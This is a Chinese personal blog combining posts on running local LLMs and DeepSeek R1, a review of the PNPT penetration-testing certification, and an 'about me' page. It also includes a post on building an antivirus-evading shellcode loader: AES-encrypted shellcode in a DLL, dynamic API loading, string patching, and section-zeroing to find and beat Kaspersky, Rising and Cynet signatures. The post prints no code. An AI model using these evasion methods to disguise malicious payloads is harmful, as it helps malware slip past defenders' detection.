我们先给部分读者扫一个盲，说一个基础概念。就是这几b几b是啥。这里指的是参数量，有多少个参数，b是billion(十亿)的意思。一般这个数字越大，模型越大。模型越大，通常，会更聪明。但是训练和运行对硬件的要求也会更高。有不少模型，都是有不同规模的。
比如google的Gemma-2就有2b, 9b, 27b三种尺寸。

2b就刚好能用，能总结，能简单翻译，但是几乎没智商，也没什么知识。好处是很差的商务笔记本也能流畅运行。
9b就能扮演个角色了，各种能力都好了不少，感觉“有点脑子了”。
至于27b，给我一种开始接近chatGPT-3.5的感觉。但是有点大，本地我这电脑就跑不起来了。这个时候可以部署在云端跑。

最近因为想做一些有趣的事情，可能会依赖LLM。所以又跑到HF上玩了。
现在的Ollama，LM-studio这些工具把本地运行LLM变得很简单，优秀的量化算法和强悍的小模型把LLM对机器配置的门槛又降低了。机器实在不行，那就接一个API，直接云端跑。而且还有很多客户端开始集成RAG和在线搜索功能，LLM会变得更加有用。

我觉得我博客的任何读者都可以去试试。

从DeepSeek扯扯

最近DeepSeek r1刷屏刷得厉害。其实元旦之前在他们发布v3的时候就上过新闻，但是那个时候国内关注度不算很高，圈子里关注，圈子外比如知乎上有讨论，但是感觉气氛不好。国外LLM圈子里貌似反而对v3挺好奇的。

比较巧合的是他们发布r1的那会我正好就赶上了，去玩了玩。当时根本没想那么多，单纯是因为之前听说了v3。压根没想到下周一，r1的新闻铺天盖地。

我说一下我最初用DeepSeek r1的第一感受：
官方网站上的r1，我觉得还不错。
思考出来的结果没什么问题。有些有坑的问题回答完美，比v3强。而且有自己的风格和特色。
中文回答质量高。HF上面DeepSeek官方所说，他们模型有671b，活动参数30b出头。

至于蒸馏模型，那就不太能看了。我当时跑的蒸馏8b 14b的，基本上不能用。为什么呢？推理的自言自语很耗时，而且智商和知识明显不够，对于某些基本问题推理半天依然会经常出错。换成Google的Gemma-2-9b模型在回答正确性差不多的情况下速度更快。
32b终于可以正确推理，回答问题算能看了（这也可能是llama的锅？14b本质是llama）

虽然官方有放出分数，但是我还是想说我的主观对比：
原版r1可以和chatGPT o1上同一个擂台。但是就我实际体验，我没觉得r1就真超过了o1。
蒸馏模型32b我不好说，没觉得比o1-mini好用。甚至70b蒸馏模型也没有。

以上我说的任何东西都不负责，只是主观感受。

但是我觉得这个东西的意义不在于和OpenAI的商业模型做对比。
我觉得，他们最强的是：用新的技术在确保模型质量的同时大大降低了成本。
他们的论文比较有意思：一路RL逼模型也能逼出来。用MLA，MoE等等新技术，大大降低训练成本。这篇论文相比于别的很多企业放出来的资料算是非常细节了。

这种技术细节的公开可能会改变LLM未来的发展。

舆论说全面超越OpenAI，不至于。原因上面分析过了。
说DeepSeek r1是假的，也不至于。论文中新技术已经被复现了。
说用和chatGPT对话的数据，这个貌似已经是标准做法了。论文出来几年了。

我倒是觉得，DeepSeek R1还有一个意义：
我发现有很多中国人在接触到它的时候非常震惊，甚至惊喜。
我有种感觉，DeepSeek R1是他们第一次接触到o1这样的模型，甚至可能是第一次接触到LLM。

舆论会是捧杀吗

当然，随着媒体持续轰炸，市场和政策上的那些事情反而变得紧张。什么禁令什么东西都来了。

我只是说一个有趣的事情：

我们先来看看
目前在HF上的开放LLM排行榜上都是谁：

所以呢？？
我们看一下他们的架构和基座模型：

你会发现
几乎都是阿里QWEN的魔改。

我自己有试了阿里QWEN 72b和这榜单上的一些LLM，我觉得这可以和OpenAI的4o在同一个擂台上。这是24年夏天的模型。

为什么很少听媒体吹Qwen？
嗯…我有猜想的原因，但是我不会说。

最后

所以我们现在到底在用LLM干嘛？
我不知道，我感觉LLM目前貌似被用于客服。

PNPT(Practical Network Penetration Tester) 课程和证书考试回顾

1741014434

算是一气之下考的证。

如果你英语还凑合，起步不久，想拿OSCP，但又没有太多这类考试经验，打算先学学AD域和一些方法论提前准备，让自己基础扎实一些（OSCP要1749usd，巨昂贵且只有三个月的访问权限加一次考试机会），以学知识为重的话
那么这个课程可以考虑。
~~（当然如果你OSCP失败了打算找找自己的定位和信心也可以试试）~~

这个证书/课在中国目前貌似就没什么名气，几乎没怎么见到人提过，也没见太多评论过。毕竟很多人都想考OSCP。不过既然通过了PNPT，我就随便说说吧。会带着点大家都关心的OSCP在这里给大家对比参考。

这个证书比较年轻，早期设计和宣传和~~某个证书~~有竞争的味道。
对比来说，PNPT：

~~曾经299USD~~499 USD，大学生可以打折。
买课送两次考试机会，“我们从来不会从您的失败中获利”。
一年教材访问~~(曾经是永久)~~
相对的，无痛考试。无监考，5天考试时间，2天做报告。
卡住了？挂了？考试结束的时候可以写一个报告，据说他们会根据进度给一点提示。
考试不限制任何工具

感觉TCM他们最近也在转型，PNPT也涨价了
最近他们推出了一个PNPT Accelerated camp的培训，卖2999USD。从PJPT覆盖到PNPT。
大概就是对于入门的人全套cover了吧。
感觉他们重心放在了OSCP以下的，从信息安全入门到中等级别模拟实战培训。

毕竟OffSec的确不怎么重视入门培训，而同等级的其它证书很多都在搞选择判断题。

简单评论一下

首先，这个证书的定位是中级。我觉得像新手入门阶段的终点，通向专业职业化的起点。

目前证书现在的价格优势没了。499usd这个价格有点尴尬，曾经299usd（之前好像更便宜？），只能说现在你有钱的话可以考虑。

曾经说这个证书课程可以降低你OSCP失败的可能。因为OSCP 1749usd的价格只有三个月的教材访问时间，如果缺乏AD基础，在这三个月里才开始接触AD可能时间不够。所以你可以考虑用PNPT学习AD模块等等，这样到OSCP那三个月里压力会小很多。
另外曾经299的价格相当于一次OSCP补考，所以可以考虑用PNPT衡量一下自己水平顺便搞个证。

~~(当然没钱的话，提前打别的AD域实验室积累经验也不是不行，真的。)~~

Anyway我推荐做好准备再去冲击OSCP，无论什么证书和课程

所以这个证书，如果你价格不敏感，在考OSCP之前是一个不错的跳板。
但是如果你的实力能独立解决OSCP难度模拟题的时候我觉得499美刀给你的收益就比较有限了。

教材：
- 内容算比较实在的。如果你是从入门一步一步走到这里的话，那么PNPT教材算是把基础内容讲得比较扎实的。从网络基础到web安全，从破密码到AD域，居然还教怎么破解wifi。另外还有提权课也不错。最后还有怎么写报告。课程基本上覆盖了你要做红队的绝大多数基本技能了。
- AD域内容比较多，我觉得是OSCP之前相当不错的域渗透入门。
- OSCP教材没怎么教导致OSCP考试卡住我的地方，居然在PNPT教材里讲了…
- 有一些方法论的内容，这个我觉得比较重要。
- ~~永久可访问（~~现在好像改成一年了）
考试：
- PNPT考试内容保密的东西比较多，我不会说太多，在这里只会说官网上有公开的信息：
  - 基本就是模拟一次针对小公司的渗透测试。没有flag这一说，目标就是拿DC。
  - 有OSINT要素，主打AD域。
  - 有杀毒软件，有时候会给你搞点麻烦。
- 考试不超纲，你要的所有东西基本上全部都在教材里，教材覆盖内容是远超过考试的。
- 报告的要求可能有点高。

缺点：

不知道现在是否有改进，我就说说我个人的想法

课都是视频，没有文本。字幕鸡肋，不如不开。
Lab要自己本地搭建，比较麻烦。
证书找工作含金量略尴尬。
现在499USD的价格更尴尬。很多人冲着OSCP去的，曾经便宜的时候PNPT有一种OSCP学前班的意味，但是现在499usd大概是两次OSCP补考费。而这个证书定位又和OSCP有点接近了。

另外
我硬盘真装不下那么多虚拟机。
考试中OSINT之后的第一个突破口我真的意见很大。我甚至觉得我靠了点运气。我考虑了OSINT阶段看到的那些人的爱好，结果没用。

我的考试过程

没什么好说的，多的大概也不会让说。考试之前比较匆忙，看了一天课程就直接开始考试了。
考前也没做过题，裸考。

考试过程，第一天最初的入口点，就是我上面说的那个问题，让我头痛了很长时间。Reddit上对此抱怨也比较多。因为你是需要做情报收集的，但是当你发现你还是不能突破的时候，你不知道是情报收集不够还是别的问题。
一旦突破，进了内网，剩下的基本都很顺利。除了在后面某个地方有一个思路突然转变卡了我一下。

总之考试过程还是很舒服的。没怎么影响我吃饭睡觉。整个考试过程除了第一天，剩下几天没有觉得很消耗，甚至这个节奏我觉得还挺快乐的。偶尔卡住，但是想想有五天，不影响心态。一天可能就晚上回家，花2-4小时考考试。

我是慢慢打的，就算这样五天时间也没完全用完。

如果你在准备这个考试

HTB里面一些和AD域有关的box还是推荐的。
但是我不推荐打很多HTB。HTB的方法论和PNPT相比显得有些过分。HTB更多是围绕某个“漏洞”做的box. 其中可能要求你在某些应用或者某些漏洞或者错误配置上面钻牛角尖。但是PNPT基本上完全就是按着教材就够。

”你有了什么，然后你该做什么“。

关键部分不会涉及到教材之外的东西。往往你会发现之所以卡住是因为你想太复杂了。

我推荐多去接触AD域的题目，熟悉工具用法。包括网络上的工具。
另一方面可能要在面对杀软这方面做一点准备。但是我不记得教材里有没有这个部分了。不过也放心，只是最基本的防御，没有很变态。

我几乎只是用Metasploit就做完了所有的事情。如果你有用着顺手的C2是好事情，可以省不少事。

着重看Practical Ethical Hacking模块。考试卡住了回去看看, 有用。

如果你拿下了DC，时间还没用完，建议回去重新来一遍，截图。因为他们报告的要求比较高。有时候你在过程中截图可能到了报告阶段发现可能有缺漏。

常见问题

Q: 这个考试有多少机器？
A: 这个貌似不让说。

Q: 证书含金量？
A: 说个扎心的。这年头OSCP找工作都算Junior. 市场不需要这么多红队。但是为什么一定就要是走红队路线呢？

Q: PNPT难吗？
A: 我没考过什么别的证书，不好说，难度这个东西比较主观，而且难也有不同难法。比如PNPT开头的第一个落脚点我觉得就很难。虽然我能理解这样设计的目的，但是我多少觉得有点刁难…
总的来说，相对OSCP简单不少。技巧，经验和熟练度要求完全没有OSCP高(你毕竟有五天)。只是对方法论有要求，你要了解这里的流程，知道自己该做什么。换言之，PNPT不要求你能利用一堆复杂的技术，利用什么漏洞exp在一堆兔子洞中找到什么，但是你必须知道你应该如何在一堆机器里一步一步探索，获取隐藏的信息，打进域控。

总结

总之，如果你的目标是OSCP，认为自己水平不够，尤其是对自己AD域没把握的情况下，那么这个证书在OSCP之前是可以考虑的。我认为如果你有钱的话，这个证书是一个不错的跳板。

但是如果你已经参加了OSCP并且可以不需要太多帮助就能自己打下OSCP模拟题，有想考更高级证书的想法和能力，那么这个证书的收益就很有限了。

Shellcode初探[3x]: 自制实用shellcode加载器，绕过杀软（静态）

1741980307

上次写这个系列的文章已经过于很长时间了，整个系列也已经歪到研究静态绕过去了。
本文是对第三篇的补充。

我们之前介绍过：

在第三篇中，我们用了简单的思路：

shellcode一直都可疑。我们让它无法被识别。
Loader也会有可疑行为和特征。我们要尽可能隐藏。

具体而言，在之前，我们：

对shellcode每个字节+1-1，让杀软对shellcode识别困难。
对敏感函数名称进行+1-1混淆，让Loader不再那么可疑。而后动态函数加载。

就这样，隐藏了shellcode和IAT中的敏感函数，从而做到绕过部分杀软。
如果你对基础还不熟悉，可以看看之前的文章。

对了，其实免杀还有一个思路：通常，由于自己制作的加载器小规模使用很难受到关注，所以自制工具。自己做的自己用。

2025年，那么之前提到的静态扫描规避思路真的还有任何实用价值吗？
当然啦，说回来，+1-1搞个exe还是太弱了。为了更加适用，更加难以被分析，我们直接对shellcode进行加密。
基于上一篇文章的思路，我做了另一个工具。已经做成一个处理脚本放在GitHub上了：

GitHub: ShellcodeEncrypt2DLL

当然了，如果你想让工具活久一点，自制工具最好还是没事别放VT上了。这个我自己打算分享出来放Github上。被人丢VT上面是迟早的事。

那有小伙伴要问了：“啊，不放VT，还能放哪个上面测试呢？”
免费的antiscan.me已经没了。

用Kleenscan。他们有比较新的杀毒软件引擎。大概40个，他们不会把样本提交。
使用方法类似VT。有免费额度。

我放一个（有他们网站生成的推广链接）
Kleenscan

谈谈ShellcodeEncrypt2DLL

和之前那篇文章思路类似，我们对shellcode和敏感系统函数名称字符串进行了处理。只不过之前是+1-1，我们这次直接用AES进行加密，编译成DLL。~~(别看到DLL就没兴趣关网页了，下面我会解释为什么用DLL)~~

最初设计的时候考虑到为了一定程度上的防止被分析，所以我稍稍做了点”设计“。
生成的DLL分成了两种模式：

独立模式：这种模式密钥被硬编码进去了。所以会更容易被逆向分析。不推荐这种模式。但是在做劫持，搞PrintNightmare类似场景，不方便传参的时候的时候可以用。
非独立模式：如果你有机会可以传入参数，更推荐用这个模式。这样密码和DLL分离，如果仅仅只是DLL被捕获，shellcode也很难被还原出来。

简而言之，这个脚本可以自动编译生成一个DLL. 其中的shellcode和需要用到的一些函数都会被AES加密。可以选择DLL中是否包含KEY。如果选择不包含key的话，那你需要在使用时想办法自己传入KEY。

当然这个东西主要还是在针对静态查杀的绕过。没有考虑内存扫描什么的。也就是说在运行起来以后内存里面还是有一个明显的shellcode躺在内存里的…

为什么是DLL？

因为exe被针对太狠了。同样的恶意代码，做成exe在VT上一般情况下都会比DLL被杀得更狠。
DLL具有很强的灵活性。它可以直接用rundll32运行以外，也可以用一个exe拉起来做sideload。同样，我们还可以用PowerShell，python等等方法加载DLL。
我们还可以用hijack的方式劫持正常应用的DLL。
还有像是PrintNightmare这种漏洞利用也要上传恶意DLL，exe没用。

为什么是AES

+1-1所做的仅仅只是混淆，不那么直接的能被杀毒软件找到字符串识别。我们之前隐藏了shellcode和函数名称，很好。但是一旦被逆向，很轻松的就会发现这里只是对字节做+1-1，于是shellcode被逆向，文件标记为恶意，C2地址暴露。
用AES可以防止shellcode被逆向出来。当然，前提是不要把KEY硬编码进去。

为什么不是XOR呢？

我曾分析过一些XOR玩法，感觉更多的还是在做混淆而非加密。
常见的，用一个字节的密钥对着shellcode一个字节一个字节xor过去。密钥就一个字节也就256种可能，就不说你有没有密钥硬编码了，这暴力跑一遍其实也不费劲。

至于xor，还可能有密钥重复使用，甚至可能还是已知明文的硬伤。

比如我看你这里加密字符串长度可能是VirtualAlloc，我直接明文和你密文xor一下就有可能得到正确密钥。
如果我猜对了，我会得到长度和字符串一致，每个字节都相同的输出，这个字节就是密钥。

如图，密钥k=69='E'，明文p='VirtualAlloc'，密文是c。

那么你不打算复用，你用了一套PRG，套种子做密钥生成和shellcode，敏感函数长度一致的密钥，那也很麻烦…不如AES。
另外，不负责任地说，XOR在循环里单字节处理一块内存似乎有时候也被当作特征。

虽然事后证明，其实AES也没那么好。因为系统AES的API调用在IAT中也被怀疑。
怎么办呢？
动态加载，函数名+1-1，轻松解决 XD

尝试达成VT：0/73

当时做出来，还是有3家杀毒软件报毒的。后面我有试图去绕过剩下的杀毒软件，
这三个：Cynet, Kaspersky, Rising。

怎么确定哪里敏感？
我用的方法是：在PE的段里填充成0. 比如原来的.text，我直接整个section全部填充覆盖成0x00.

为了方便阅读，提前给各位复习一下：

.idata段里面有导入表(IAT)，会有DLL导入函数的字符串。比如你直接调用AES函数，那么函数名称的字符串在这里。这个问题，我们可以用动态加载解决。这样函数名称不会出现在这里。
而程序运行时的字符串常量都被放在.rdata段里面，所以shellcode和一些其它常量字符串也会放在这里。也就是说，你在编写动态加载的时候，如果你的敏感函数名的字符串直接被定义，就会保存在这里。

测试：

我试着填充.text和.data，这三家一样报毒，给出的理由和没填充都一样。所以特征不在这里。
又试着单独填充了.rdata，这次Kaspersky没报毒了。
仅填充.idata，这次换rising没报毒。

后面填充过edata，没影响。
总之，kaspersky可能就是觉得.rdata里那些加密的数据可疑。而rising可能觉得.idata导入表是特征。

cynet我就不清楚了。
于是我把idata，rdata都填充掉。
这次这三个都没报毒。但是DeepInstinct报毒了…DeepInstinct貌似对文件是否畸形敏感。

绕过Kaspersky

我发现似乎每次都是Kaspersky先报毒，然后过一段时间Rising对相同样本才报。而且分类和Kaspersky大差不差。但是他们标记的特征是完全不同的。

当然Kaspersky是最坑的一个。我最初以为是.rdata的熵太高了。毕竟加密后的shellcode在里面。

如图，这里是shellcode，经过AES加密以后，数据几乎是随机的。熵7.5，逼近8。基本从熵就能看出来这里有加密数据。我想的是，这里搭配上解密函数调用，就很可疑。

熵逼近8, 意味着接近于一个字节的最大信息表达能力。一个字节有8bit，可以表达256种可能。这里的熵是这样来的$\log_2(256)=8$。两个不同的字节，只有两种可能，1bit就能表示。所以两个不同的字节在这里计算出的熵是1.类似的，4个不同字节可以用2bit表达，熵是2. 而这里7.5几乎cover了256种可能了。正常的话（个人经验），英文字符串熵应该在4-5之间。所以我们可以在里面加入一样的字节来降低熵。大概需要shellcode两倍才能压到4.5左右。

于是我在shellcode里面每个字节之间添加一个字节的00。并且在结尾放上一段和shellcode等长的FF填充来进一步降低熵。

这样一折腾。恩…结果，没用。但是我没有移除这个功能。缺点就是：shellcode体积会变成原来的三倍。

所以到底是怎么回事？
Mingw-w64在编译后往这里塞了一个错误信息。里面有字符串VirtualProtect。蛋疼的是这玩意儿我是真没找到怎么在编译的时候去掉。
所以我做了一个patch.py。只能在编译好以后用python在.rdata里替换掉这个字符串了。

Rising绕过

根据填充.idata后，Rising就安静了。这说明特征可能在.idata里。简单测了一下，AES的API调用可能是问题根源。

那就，动态加载AES函数并且做了+1-1后让字符串认不出来后Rising绕过。

神奇的是Cynet同时也绕过了。Cynet貌似是依靠综合评分的。

总结

还是那句话，其实对于静态扫描绕过而言，挺简单的。很多时候，字符串，函数名，藏好就行。
至于沙箱，内存扫描，以后再说。

后话

过了一个星期(四月初)，回头在看，这个工具也被针对了。已经被
Avast和AVG标记，最近又多了一个Trellix。还有人(大概是bot)在VT对样本评论。

但是…这个成绩直到一个月以后（五月）也没变过。
目前这个样子其实完全可以稍微对它模板进行修改，然后patch一下都有机会再做到0/73。

顺便，有些杀软迷和网管应该知道以后应该选择哪些杀毒软件了吧…

关于我-画像

1748757476

你好啊, 欢迎光临这座孤岛 :)
希望我的这些文章对你有用.

唉, 关于我…没啥好说的,
之前这个页面2020年写得内容太别扭, 删了, 直接404了一年多, 但是还得写点什么.

(叹气)真难写…不想像别人一样写我会什么技术, 什么名校TitleDiploma

我是臭学生一个. 目前(2025)CS本科在读. 喜欢玩的东西很多.

那种小时候喜欢做化学实验, 盘盘线圈焊焊电烙铁, 啥都放显微镜底下看看的人.
十岁出头自学编程瞎搞信息安全学了点相关内容初中家里藏wifi不让上网, 而后自学linux装bt破wifi去了.
别人无法理解的重度偏科. (不要误会, 其实是数学不好)
上过很多”兴趣”班.

还有吗?

长发眼镜男轻度营养不良有时候会喝啤酒不挑食喜欢在下雨天睡觉逃课爬树不爱上学不爱写作业………..

我依旧是一名平凡的学生